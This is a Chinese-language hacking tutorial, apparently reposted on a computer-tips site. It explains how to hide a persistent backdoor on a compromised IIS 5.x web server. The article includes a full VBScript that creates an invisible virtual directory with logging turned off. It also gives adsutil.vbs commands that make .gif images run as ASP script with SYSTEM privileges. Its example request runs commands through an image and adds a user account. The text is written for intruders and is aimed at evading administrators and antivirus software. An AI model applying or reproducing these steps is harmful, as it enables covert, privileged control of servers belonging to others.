萬盛學電腦網

 萬盛學電腦網 >> 病毒防治 >> 腳本圖片類後門的完美使用方法

腳本圖片類後門的完美使用方法

  前兩天,看了一篇《腳本注入圖片新方法》的文章,相信很多人都通過這篇文章了解了如何在圖片中加入腳本,以及如何在正常的asp(或php)文件中通過include函數使圖片中的腳本產生效用。

  但是,這種方法的問題又隨之而來了:有人問道:通常腳本網頁文件中如果想要插入一個圖片,簡簡單單的一個html標簽就解決了,如果我們用include代替的話,是否太過明顯?雖然這種語句放在大型頁面中手工查找有點麻煩,但如果是殺毒軟件用特征碼查找,看到include的是以.gif.jpg等擴展名結尾的語句,相信肯定會報警。

  而我們若不用類似於include之類的函數的話,圖片中的asp(或php)語句又怎會執行呢?難道要打電話叫網管幫忙嗎?嘿嘿…… 所以問題就集中在用什麼方法可以替代include函數的作用上了,因為注入圖片的腳本可以變,所以可以不怕殺,怕就怕那句該死的include。

  有什麼方法呢?我曾經想過我們在入侵成功後可以在IIS中添加應用程序映射,把.gif等圖片的擴展名用asp.dll(或php.exe)解析,並把這虛擬目錄的應用程序保護改為低,這樣我們的後門就會有System權限了。當我們注入圖片的腳本的作用是執行cmd命令的,我們就可以通過本地表單POST我們要執行的命令給圖片,當然也可以是GET: 代碼 http://www.xxx.com/1.gif?cmd=dir 這種方法當然是好,可以突破include執行腳本了。但仍有不足,而且是明顯的:這種方式雖然殺毒軟件是查不出了,但是仍可明顯看出:管理員只要查看一下應用程序映射,那麼我們所有的工作都白費了。

  想到這裡,我突然想到了IIS的那個著名漏洞(涉及IIS5.0及IIS5.1),我們可以在任意一個站點下建立一個不可見的虛擬目錄(指的是intenet服務管理器中不可見,但利用adsutil.vbs依然可見),而且由於IIS的特性,虛擬目錄的應用程序映射及應用程序保護是與IIS的默認站點分開設置的。由於虛擬目錄不可見,他所有的屬性當然也就不可見了。

  所以我們可以安全的設置此目錄的屬性,而不用怕管理員發現。 當我們把這個虛擬目錄指向服務器上另一個裝滿圖片的物理目錄(至於那找這種目錄?我找到個好地方:Windowz默認的牆紙目錄,我的xp上是%SystemRoot%WebWallpaper目錄)時……呵呵,大家想到什麼了沒?一旦我們修改其中兩個圖片,注入我們的腳本後門,然後把此目錄的圖片映射到asp.dll(或php.exe)上,應用程序保護改為低,就可以通過我上面講的方法進行訪問執行命令了。

  而且是System權限哦!呵呵,是不是很爽?管理員怎麼也不會想到自己的圖片卻會是致命的後門!(其實這種方法動鲨曾在x檔案上發文章說過,但他的方法有一個缺陷:在非web目錄中有asp(或php)文件,一旦發現,的確讓人懷疑。而我們利用的是圖片,相信管理員看到圖片不會情緒過激的非要撕開了看個明白才罷休吧?呵呵……) 那麼如何建立這個虛擬目錄呢?我們可以在圖形界面也可以利用自編腳本或是直接用IIS自帶的adsutil.vbs操作。

  在此之前我先簡單說明一下這個IIS漏洞的原因:我們知道IIS的配置文件是MetaBase.bin。這個文件位於%SystemRoot%system32inetsrvMetaBase.bin,包含了幾乎所有IIS的配置信息,是非常重要的系統文件。簡單的說,我們在“intenet服務管理器”中所作的一切設置最終都會被保存在MetaBase.bin中。在日常的系統管理中除了通過“intenet服務管理器”來對MetaBase.bin進行操作外,Windows還提供了一個腳本adsutil.vbs可以對MetaBase.bin進行操作。

  MetaBase的結構類似於注冊表,也是樹形結構,有類似鍵、值、項的概念。事實上在IIS3和PWS中,MetaBase的內容就是存儲在注冊表中的。MetaBase有兩個主鍵:LM和Schema。其中,Schema保存了系統默認的一些配置,通常不需要修改,一旦改錯也非常危險,所以無論是“intenet服務管理器”還是adsutil.vbs都沒有提供修改Schema的機制。LM中包含了IIS的HTTP服務,FTP服務,SMTP服務等的配置信息。其中,LM/W3SVC/下是我們要用到的HTTP服務的配置信息。

  其中有一個值:ScriptMaps,代表腳本映射。當我們在某個虛擬目錄下設定ScriptMaps值後,則向該目錄請求的特定擴展名的文件都會交給指定的ISAPI執行。需要強調的是,設定ScriptMaps的目錄並不一定要真實存在的,只要在MetaBase中某個HTTP實例的root鍵下建了一個子鍵,對該字鍵同名的虛擬目錄的HTTP請求IIS會認為是合法的,並會交由映射的ISAPI處理。

  這樣說可能誰都暈了(包括我),其實簡單的作個類比:MetaBase的就夠類似於注冊表,我們知道,我們在安裝有些程序的時候,安裝程序會在注冊表中建立一些必要的值,可我們一旦非正規把它安裝的文件刪除了時(比如有些朋友刪游戲時就是直接往回收站一拉了事),注冊表中的那些項就會被留下,沒有用處,而造成注冊表垃圾。MetaBase中也是那麼回事,我們正常建立一個虛擬目錄時,MetaBase中就會建立一些項。而當我們通過非正常手段刪除了此虛擬目錄時,那些項就會留下,與注冊表不同的是,那些項還會起作用,只要我們用http請求了那個虛擬目錄,IIS就會依舊按照MetaBase中的原來的虛擬目錄設置順利返回。

  所以即使目錄不存在,只要他曾經存在過,那麼就成立。呵呵,聽懂了沒?(PS:還沒懂)暈,那就只好請您看動鲨的那篇文章了,他說得可比我清楚。 至於如何添加不可見的虛擬目錄,動鲨的那篇文章說得很清楚了,我這裡就不廢話了,下面提供動鲨的添加不可見虛擬目錄的腳本,保存為iis.vbs: 代碼 help1=IIS後門設置器 FOR WIN2000 BY 動鲨 5月30號2004 年 help2=請輸入正確的虛擬目錄名稱和映射的路徑,格式如下 help3= cscript.exe iis.vbs 虛擬目錄的名稱 映射的路徑 help4=例如: cscript.exe iis.vbs backdoor c: set Args = Wscript.Arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strVRName=args(0) 虛擬目錄名稱 strRootPath=args(1) 虛擬目錄路徑 Set checkVirtualDir=GetObject(IIS://LocalHost/W3SVC/1/Root) For each VR in checkVirtualDir if VR.Name=lhxy Then foundt =yes else foundt= no End If Next if foundt =yes then wscript.echo 發現已經創建了lhxy目錄,正在設置自定義的虛擬目錄 creatvdir else wscript.echo 正在創建lhxy目錄,以及自定義文件夾,請等待! creatlhxy creatvdir end if wscript.echo 你創建的虛擬目錄名稱是& strVRName &,映射的文件夾是 & strRootPath &。 wscript.echo 請訪問http://IP/lhxy/& strVRName &/ 來連接後門! wscript.echo 恭喜!後門設置全部完成! sub creatlhxy() Set objDir=GetObject(IIS://LocalHost/W3SVC/1/Root) Set myDir=objDir.Create(IISWebVirtualDir,lhxy) myDir.AccessRead=true myDir.DefaultDoc=mydir.DefaultDoc myDir.AppIsolated=0 myDir.AccessExecute=true myDir.DontLog=true myDir.AccessSource=true myDir.EnableDirBrowsing=true myDir.setinfo end sub sub creatvdir() Set objVirtualDir=GetObject(IIS://LocalHost/W3SVC/1/Root/lhxy) Set VirDir=objVirtualDir.Create(IISWebVirtualDir,strVRName) VirDir.AccessRead=true VirDir.Path=strRootPath VirDir.DefaultDoc= VirDr.AccessExecute=true VirDir.AccessWrite=true VirDir.AccessSource=true VirDir.AppIsolated=0 VirDir.DontLog=true VirDir.EnableDirBrowsing=true VirDir.appcreate 0 VidDir.CreateProcessAsUser=0 VirDir.setInfo end sub wscript.quit 我記得Bugkidz好像也曾經貼出過類似的腳本。呵呵,沒仔細看,大家不要打我,自己找吧,或是找Boy要,呵呵。 下面是通過adsutil.vbs把asp.dll添加到InProcessIsapiApps數組中的命令,使得所有asp腳本都會以System權限執行。 代碼 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps C:WINNTSystem32idq.dll C:WINNTSystem32inetsrvhttpext.dll C:WINNTSystem32inetsrvhttpodbc.dll C:WINNTSystem32inetsrvssinc.dll C:WINNTSystem32msw3prt.dll C:winntsystem32inetsrvasp.dll 不過需要注意,adsutil.vbs只能設,不能改,所以用adsutil.vbs的時候一定要把原先的也加上,否則原先的就會丟失。不同條目之間用空格分開。 然後把你的虛擬目錄加上應用程序映射: 代碼 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/ScriptMaps gif,C:winntsystem32inetsrvasp.dll,1 我這裡的虛擬目錄是lhxy/wofeiwo,圖片擴展名是.gif大家可以根據自己實際情況更改。 好了,我們看看效果吧: 代碼 http://www.xxx.com/lhxy/wofeiwo/1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add

copyright © 萬盛學電腦網 all rights reserved